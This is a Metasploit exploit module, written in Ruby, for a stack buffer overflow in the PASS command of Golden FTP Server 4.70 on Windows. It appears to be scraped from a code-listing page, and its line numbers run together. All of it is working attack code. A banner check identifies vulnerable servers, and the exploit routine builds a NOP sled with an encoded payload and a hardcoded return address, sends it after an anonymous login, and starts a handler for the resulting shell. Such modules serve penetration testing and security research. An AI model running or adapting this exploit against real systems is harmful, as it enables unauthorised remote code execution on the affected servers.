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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | # # $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'GoldenFTP PASS Stack Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in the Golden FTP service. This module uses the PASS command to trigger the overflow. }, 'Author' => [ 'bannedit' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 12812 $', 'References' => [ [ 'BID', '45957 '], [ 'URL', 'http://www.exploit-db.com/exploits/16036/'], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Privileged' => false, 'Payload'=> { 'Space'=> 350, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => ['win'], 'Targets'=> [ [ 'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011 { 'Platform' => 'win', 'Ret'=> 0x00a93ca6, }, ] ], 'DisclosureDate' => 'Jan 23 2011')) end def check connect disconnect print_status("FTP Banner: #{banner}".strip) if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit if datastore['RHOST'].length < 15 pad = make_nops(1) * (15 - datastore['RHOST'].length) end sploit = make_nops(4) * 38 sploit << payload.encoded sploit << pad sploit << make_nops(1) * (528 - sploit.length) sploit << [target.ret].pack('V') print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}") begin connect send_user("anonymous") send_cmd(['PASS', sploit], false) handler rescue EOFError end end end |
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